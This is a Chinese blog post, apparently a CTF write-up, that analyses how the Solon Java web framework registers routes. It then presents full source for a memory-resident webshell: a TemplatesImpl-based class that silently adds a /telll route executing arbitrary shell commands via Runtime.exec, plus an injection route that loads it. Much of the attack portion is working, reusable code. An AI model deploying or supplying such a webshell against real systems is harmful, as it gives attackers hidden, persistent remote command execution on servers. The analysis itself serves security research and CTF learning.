为什么要做这个:之前面试的时候被问过写没写过内存马,我说 Spring 内存马了解过,大概是 xx,xx,xx,xx……
问:那你自己分析过流程吗?
答:稍微看过(其实个人认为找 java-memshell-generator 能打上就行),大概就是找 handler routers 这些,从调用栈去往上找就是了

后面想要分析分析,但是感觉 Spring 都被分析烂了,自己再去看很没意思
正好比赛遇到一个新框架 Solon,就来拿他入手吧

本人使用的 jar 包为 京麒 CTF Solon4Shell 附件
这题赛后 9.19 本地做出来了……
附件:https://github.com/L1nyz-tel/Archive-Bucket/blob/SolonPwn/SolonPwn.jar


写完文章后,才想起来谷歌搜一下是否有其他人写的 Solon 内存马,发现一个星期多前有人发过了

我这里完全没用反射,写得算是最简洁的了

把复杂事情简洁化

看了别人使用的类,在题目的 jar 包里搜
诶,我这里没搜到……
我这个是啥简化版……


直接看我的文章中文字和截图肯定还是不能全面了解的,建议自己起一个调试看看

Solon 内存马分析

org.noear.solon.boot.jlhttp.JlHttpContextHandler#handleDo

Solon.global() 全局方法执行的结果中,变量 _router 为路由数组

跟进 Solon.global().tryHandle(context) 一直 handle 下去。

org.noear.solon.core.route.RouterHandler#handleOne 又出现一个 router,跟 Solon.global() 是同一个

重点关注 Solon.global() 返回为 SolonApp

进入 SolonApp 类中

1
2
3
public void add(String expr, MethodType method, Handler handler) {
this._router.add(expr, Endpoint.main, method, handler);
}

进入这个 add 函数,打上断点重新运行 web 服务,查看是如何加入 routes 的

关键参数为

  • path -> /solon.log
  • method -> enum MethodType
  • index -> 0+++……
  • handler -> 这个比较复杂

往上层调用去看,handler 其实是从 org.noear.solon.core.handle.HandlerLoader#createAction 获取

这里又有一个问题,这部分几个参数如何获取 this.createAction(this.bw, method, m_map, newPath, this.bRemoting)

emmm 到这里,不打算通过实例化每个参数再来做 new Action(...)

直接去看到 HandlerLoader 类构造函数实例化的地方

查看这里传入的 BeanWrap 参数从何而来,从调用栈往上回溯

来到这个地方 org.noear.solon.core.AopContext#initialize##beanBuilderAdd

(new HandlerLoader(bw)).load(Solon.global()) 这句代码拆两部分来看,经过分析,证实都是有用的

  1. new HandlerLoader(bw)

往上回溯 bw 参数的来源
org.noear.solon.core.AopContext#tryCreateBean

这里的 clz 是什么?其实就是我的主类

程序自动获取 org.ctf.Main 类中的注解,从而获取路由信息及其函数并在之后加入路由表中.jpg

  1. .load(Solon.global())

这里可以直接看到 .load(Solon.global()) 传入 HandlerLoader
从这个 load 函数,调用下去

最后就是到 loadActionDo 函数,可以将内存马函数加入全局路由

这就是那关键的三行代码

1
2
3
BeanWrap beanWrap = new BeanWrap(InjectMemShell.class);
HandlerLoader handlerLoader = new HandlerLoader(beanWrap);
handlerLoader.load(Solon.global());

至此,我编写的 Solon 内存马为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.noear.solon.Solon;
import org.noear.solon.annotation.Mapping;
import org.noear.solon.core.BeanWrap;
import org.noear.solon.core.handle.HandlerLoader;

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class InjectMemShell extends AbstractTranslet {
static {
try {
BeanWrap beanWrap = new BeanWrap(InjectMemShell.class);
HandlerLoader handlerLoader = new HandlerLoader(beanWrap);
handlerLoader.load(Solon.global());
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

@Mapping("/telll")
public String index(String cmd) throws Exception {
Process process = Runtime.getRuntime().exec(cmd);

BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder result = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
result.append(line).append("\n");
}

return result.toString();
}
}

测试:编写注入内存马路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@Mapping("/inject")
public String inject() {
try {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "aaa");
byte[] code = Files.readAllBytes(Paths.get("target/test-classes/InjectMemShell.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
} catch (Exception e) {
throw new RuntimeException(e);
}
return "success";
}

访问后,即可注入内存马